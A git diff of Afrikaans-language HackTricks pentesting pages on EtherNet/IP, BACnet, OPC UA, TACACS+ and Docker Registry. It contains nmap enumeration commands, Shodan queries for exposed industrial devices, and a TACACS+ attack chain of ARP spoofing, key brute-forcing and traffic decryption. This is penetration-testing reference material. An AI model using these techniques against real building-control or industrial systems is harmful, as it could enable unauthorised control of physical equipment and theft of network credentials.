Web enumerasie behels die identifisering van webdienste en die versameling van inligting oor die teikenstelsel deur middel van webtoepassings. Dit kan gedoen word deur gebruik te maak van gereedskap soos dirb, gobuster of nikto.
|
||||
|
||||
Enumeration is 'n kritieke stap in die pentesting-proses wat die grondslag lê vir verdere aanvalle en uitbuiting van die teikenstelsel. Dit is belangrik om versigtig en eties te wees tydens die enumerasieproses om enige ongewenste skade of inbreuk op die teikenstelsel te voorkom.
|
||||
# **Opname**
|
||||
```bash
|
||||
nmap -n -sV --script enip-info -p 44818 <IP>
|
||||
pip3 install cpppo
|
||||
|
@ -67,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
* `port:44818 "produk naam"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Protokol Inligting
|
||||
|
||||
**BACnet** is 'n **kommunikasieprotokol** vir Gebou-outomatisering en -beheer (BAC) netwerke wat gebruik maak van die **ASHRAE**, **ANSI**, en **ISO 16484-5 standaard** protokol. Dit fasiliteer kommunikasie tussen gebou-outomatisering en -beheerstelsels, wat toepassings soos lugversorgingsbeheer, beligtingsbeheer, toegangsbeheer, en brandopsporingstelsels in staat stel om inligting uit te ruil. BACnet verseker interoperabiliteit en maak dit moontlik vir gerekenariseerde gebou-outomatiseringsapparate om te kommunikeer, ongeag die spesifieke dienste wat hulle bied.
|
||||
**BACnet** is 'n **kommunikasieprotokol** vir Gebou Automatisering en Beheer (BAC) netwerke wat die **ASHRAE**, **ANSI**, en **ISO 16484-5 standaard** protokol benut. Dit fasiliteer kommunikasie tussen gebou automatisering en beheerstelsels, wat toepassings soos HVAC-beheer, beligtingbeheer, toegangbeheer, en branddetectiestelsels in staat stel om inligting uit te ruil. BACnet verseker interoperabiliteit en laat gecomputeriseerde gebou automatisering toestelle toe om te kommunikeer, ongeag die spesifieke dienste wat hulle bied.
|
||||
|
||||
**Verstekpoort:** 47808
|
||||
**Standaard poort:** 47808
|
||||
```text
|
||||
PORT STATE SERVICE
|
||||
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
||||
```
|
||||
# Opsomming
|
||||
# Opname
|
||||
|
||||
## Handleiding
|
||||
## Handmatig
|
||||
```bash
|
||||
pip3 install BAC0
|
||||
pip3 install netifaces
|
||||
|
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
|
|||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
Hierdie skrip probeer nie om by 'n BACnet-netwerk aan te sluit as 'n vreemde toestel nie, dit stuur eenvoudig BACnet-versoeke direk na 'n IP-adresbare toestel.
|
||||
This script doen nie poging om 'n BACnet-netwerk as 'n buitelandse toestel te sluit nie, dit stuur eenvoudig BACnet versoeke direk na 'n IP-adresbare toestel.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"Instansie ID" "Vervaardiger Naam"`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
**OPC UA**, wat staan vir **Open Platform Communications Unified Access**, is 'n belangrike oopbron-protokol wat in verskeie bedrywe soos Vervaardiging, Energie, Lugvaart en Verdediging gebruik word vir data-uitruiling en toerustingbeheer. Dit maak dit uniek moontlik vir verskillende verskaffers se toerusting om te kommunikeer, veral met PLC's.
|
||||
**OPC UA**, wat staan vir **Open Platform Communications Unified Access**, is 'n belangrike oopbronprotokol wat in verskeie nywerhede soos vervaardiging, energie, lugvaart en verdediging gebruik word vir data-uitruiling en toerustingbeheer. Dit stel verskillende verskaffers se toerusting in staat om te kommunikeer, veral met PLC's.
|
||||
|
||||
Die konfigurasie maak sterk sekuriteitsmaatreëls moontlik, maar dikwels word hierdie maatreëls verminder vir die verenigbaarheid met ouer toestelle, wat stelsels aan risiko's blootstel. Daarbenewens kan dit moeilik wees om OPC UA-dienste te vind, aangesien netwerk-skandeerders dit dalk nie sal opspoor as hulle op nie-standaardpoorte is nie.
|
||||
Die konfigurasie daarvan stel sterk sekuriteitsmaatreëls in staat, maar dikwels, vir kompatibiliteit met ouer toestelle, word hierdie maatreëls verminder, wat stelsels aan risiko's blootstel. Boonop kan dit moeilik wees om OPC UA-dienste te vind, aangesien netwerk skandeerders hulle moontlik nie sal opspoor as hulle op nie-standaard poorte is nie.
|
||||
|
||||
**Standaardpoort:** 4840
|
||||
```text
|
||||
|
@ -27,34 +28,35 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## Pentesting OPC UA
|
||||
|
||||
Om sekuriteitsprobleme in OPC UA-bedieners bloot te stel, skandeer dit met [OpalOPC](https://opalopc.com/).
|
||||
Om sekuriteitskwessies in OPC UA-bedieners te onthul, skandeer dit met [OpalOPC](https://opalopc.com/).
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Uitbuiting van kwesbaarhede
|
||||
### Exploiting vulnerabilities
|
||||
|
||||
As daar omwegkwesbaarhede vir verifikasie gevind word, kan jy 'n [OPC UA-kliënt](https://www.prosysopc.com/products/opc-ua-browser/) konfigureer en sien wat jy kan toegang kry. Dit kan enigiets van bloot die lees van proseswaardes tot die werklik bedryf van swaar nywerheidsapparatuur moontlik maak.
|
||||
As daar outentikasie-omseil kwesbaarhede gevind word, kan jy 'n [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) ooreenkomstig konfigureer en kyk wat jy kan toegang. Dit mag enigiets toelaat van bloot die lees van proseswaardes tot werklik die bedryf van swaar industriële toerusting.
|
||||
|
||||
Om 'n idee te kry van die toestel waarop jy toegang het, lees die waardes van die "ServerStatus" node in die adresruimte en soek op Google vir 'n gebruikshandleiding.
|
||||
Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus" node waardes in die adresruimte en google vir 'n gebruiksmanual.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:4840`
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,35 +25,35 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Die **Terminal Access Controller Access Control System (TACACS)**-protokol word gebruik om gebruikers wat probeer om roetery of Netwerktoegangbedieners (NAS) te bereik, sentraal te valideer. Sy opgegradeerde weergawe, **TACACS+**, skei die dienste in outentisering, magtiging en boekhouding (AAA).
|
||||
Die **Terminal Access Controller Access Control System (TACACS)** protokol word gebruik om gebruikers wat probeer om toegang tot routers of Network Access Servers (NAS) te verkry, sentraal te valideer. Die opgegradeerde weergawe, **TACACS+**, skei die dienste in outentisering, magtiging en rekeningkunde (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
```
|
||||
**Verstekpoort:** 49
|
||||
**Standaard poort:** 49
|
||||
|
||||
## Onderskep Verifikasiesleutel
|
||||
## Onderbreek Verifikasiesleutel
|
||||
|
||||
Indien die kommunikasie tussen die klient en TACACS-bediener deur 'n aanvaller onderskep word, kan die **versleutelde verifikasiesleutel onderskep word**. Die aanvaller kan dan 'n **plaaslike brutaalaanval teen die sleutel probeer uitvoer sonder om in die logboeke opgespoor te word**. Indien suksesvol in die brutaalaanval teen die sleutel, verkry die aanvaller toegang tot die netwerktoerusting en kan die verkeer dekodeer met behulp van gereedskap soos Wireshark.
|
||||
As die kliënt en TACACS-bediener kommunikasie deur 'n aanvaller onderbreek word, kan die **versleutelde verifikasiesleutel onderbreek word**. Die aanvaller kan dan 'n **lokale brute-force aanval teen die sleutel probeer sonder om in die logs opgemerk te word**. As die aanvaller daarin slaag om die sleutel te brute-force, verkry hy toegang tot die netwerktoerusting en kan die verkeer ontsleutel met behulp van gereedskap soos Wireshark.
|
||||
|
||||
### Uitvoering van 'n MitM-aanval
|
||||
|
||||
'n **ARP-verneukingsaanval kan gebruik word om 'n Man-in-die-Middel (MitM) aanval** uit te voer.
|
||||
'n **ARP-spoofing-aanval kan gebruik word om 'n Man-in-the-Middle (MitM) aanval uit te voer**.
|
||||
|
||||
### Brutaalaanval teen die Sleutel
|
||||
### Brute-forcing van die Sleutel
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kan gebruik word om die sleutel met brutaalkrag aan te val:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kan gebruik word om die sleutel te brute-force:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Indien die sleutel suksesvol **bruteforced** word (**gewoonlik in MD5-geënkripteerde formaat)**, **kan ons toegang verkry tot die toerusting en die TACACS-geënkripteerde verkeer dekripteer.**
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
|
||||
### Dekriptering van Verkeer
|
||||
Sodra die sleutel suksesvol gekraak is, is die volgende stap om **die TACACS-geënkripteerde verkeer te dekripteer**. Wireshark kan geënkripteerde TACACS-verkeer hanteer as die sleutel voorsien word. Deur die dekripteerde verkeer te analiseer, kan inligting soos die **banier wat gebruik word en die gebruikersnaam van die admin**-gebruiker verkry word.
|
||||
### Decrypting Traffic
|
||||
Sodra die sleutel suksesvol gekraak is, is die volgende stap om die **TACACS-enkripteer verkeer te dekripteer**. Wireshark kan geënkripteerde TACACS-verkeer hanteer as die sleutel verskaf word. Deur die gedekripteerde verkeer te analiseer, kan inligting soos die **banner wat gebruik word en die gebruikersnaam van die admin** gebruiker verkry word.
|
||||
|
||||
Deur toegang te verkry tot die beheerpaneel van netwerktoerusting met die verkryde geloofsbriewe, kan die aanvaller beheer oor die netwerk uitoefen. Dit is belangrik om daarop te let dat hierdie aksies streng vir opvoedkundige doeleindes is en nie sonder behoorlike magtiging gebruik moet word nie.
|
||||
Deur toegang te verkry tot die beheerpaneel van netwerktoerusting met die verkryde geloofsbriewe, kan die aanvaller beheer oor die netwerk uitoefen. Dit is belangrik om te noem dat hierdie aksies slegs vir opvoedkundige doeleindes is en nie sonder behoorlike magtiging gebruik moet word nie.
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
@ -62,16 +63,17 @@ Deur toegang te verkry tot die beheerpaneel van netwerktoerusting met die verkry
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,55 @@
|
|||
# 5000 - Pentesting Docker Register
|
||||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
